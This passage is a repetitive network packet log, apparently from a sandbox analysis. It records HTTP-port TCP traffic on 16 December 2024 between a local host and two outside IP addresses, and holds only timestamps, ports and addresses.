Dec 16, 2024 17:02:25.143968105 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.144118071 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.144176006 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.144376993 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.144443035 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.144452095 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.144593954 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.144603014 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.144612074 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.144975901 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.145095110 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.260854006 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.260870934 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.260957003 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.260967970 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261076927 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261086941 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261217117 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261225939 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261297941 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261317015 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261327028 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261478901 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261487961 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261522055 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261651039 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261668921 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261735916 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261756897 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261789083 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261857986 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261885881 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.261894941 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262212038 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262352943 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262362003 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262370110 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262516975 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262526035 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262532949 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262542009 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262589931 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262598991 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262607098 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262618065 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262626886 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262748003 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262836933 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262845993 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.262854099 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263148069 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263156891 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263164997 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263174057 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263181925 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263367891 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263376951 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263385057 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263394117 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263401985 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263489962 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263524055 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263689041 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263699055 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.263708115 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265197039 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265208006 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265361071 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265371084 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265415907 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265424013 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265523911 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265592098 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265600920 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265623093 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265803099 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265856028 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265865088 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.265872955 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266104937 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266113997 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266216993 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266247034 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266355038 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266500950 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266510010 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266693115 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266702890 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266796112 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266804934 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.266985893 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267041922 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267050982 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267092943 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267102003 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267154932 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267164946 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267252922 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267301083 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267311096 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.267366886 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267402887 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.267411947 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267421961 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267471075 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267510891 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267522097 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267601967 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267652988 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267662048 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267731905 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267741919 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267836094 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.267947912 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.268019915 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.268069983 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.268137932 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.268146992 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.268249035 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.268258095 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.268395901 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.269186974 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.298687935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.298784018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.298794985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.298851013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.299158096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.299212933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.299298048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.299349070 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.299508095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.299520969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.299555063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.299566984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.299882889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.299894094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.299940109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.300192118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.300203085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.300240993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.300580978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.300627947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.300708055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.300753117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.300923109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.300935030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.300977945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.301342010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.301387072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.301481009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.301491022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.301527023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.301541090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.302092075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.302304983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.302360058 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.302407026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.302417994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.302462101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.302474022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.302740097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.303919077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.303968906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.304034948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.304083109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.304225922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.304236889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.304269075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.304280996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.304812908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.304826021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.304837942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.304847956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.304876089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.304900885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.305799007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.306199074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.306211948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.306262970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.306463957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.306696892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.306708097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.306750059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.307121992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.307132959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.307174921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.307656050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.307702065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.307918072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.307929993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.307965040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.308242083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.308387041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.308434010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.308535099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.308546066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.308583021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.308947086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.309361935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.309410095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.309458017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.309469938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.309503078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.309528112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.309823990 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.310193062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.310204983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.310215950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.310236931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.310266018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.310571909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.311041117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.311058044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.311069012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.311091900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.311105013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.311391115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.311800957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.311811924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.311845064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.311863899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.311904907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.312540054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.312589884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.312741041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.312753916 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.312764883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.312797070 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.312823057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.313047886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.313097954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.313461065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.313472986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.313483953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.313513041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.313529968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.313901901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.313947916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.314168930 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.314212084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.314304113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.314316034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.314371109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.314639091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.315129042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.315176010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.315182924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.315222979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.315244913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.315290928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.315738916 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.315749884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.315789938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.315957069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.316109896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.316121101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.316154003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.316174030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.316569090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.316780090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.316826105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.316884041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.316982985 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.317008972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.317053080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.317678928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.317689896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.317701101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.317728996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.317751884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.317970991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.318016052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.318376064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.318420887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.318428993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.318439960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.318476915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.318681955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.319125891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.319176912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.319195986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.319207907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.319281101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.319703102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.319844007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.320048094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.320059061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.320101976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.320116043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.320379019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.320391893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.320446968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.320883036 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.320955992 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.320991039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.321039915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.321151972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.321161985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.321197033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.321211100 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.388645887 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.388664007 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.388726950 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.388817072 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.388962984 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.388972998 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.389192104 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.389255047 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.389384985 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.389441013 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.389689922 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.389749050 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.390249014 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.390296936 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.390407085 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.390548944 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.390624046 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.390841007 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.390850067 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.390921116 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.390985012 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.390994072 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391113997 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391124964 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391239882 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391251087 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391366959 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391376972 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391541004 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391551018 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391691923 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391738892 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391880035 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391890049 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391928911 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391938925 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.391971111 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392301083 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392312050 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392322063 CET	80	49713	138.124.35.95	192.168.2.8
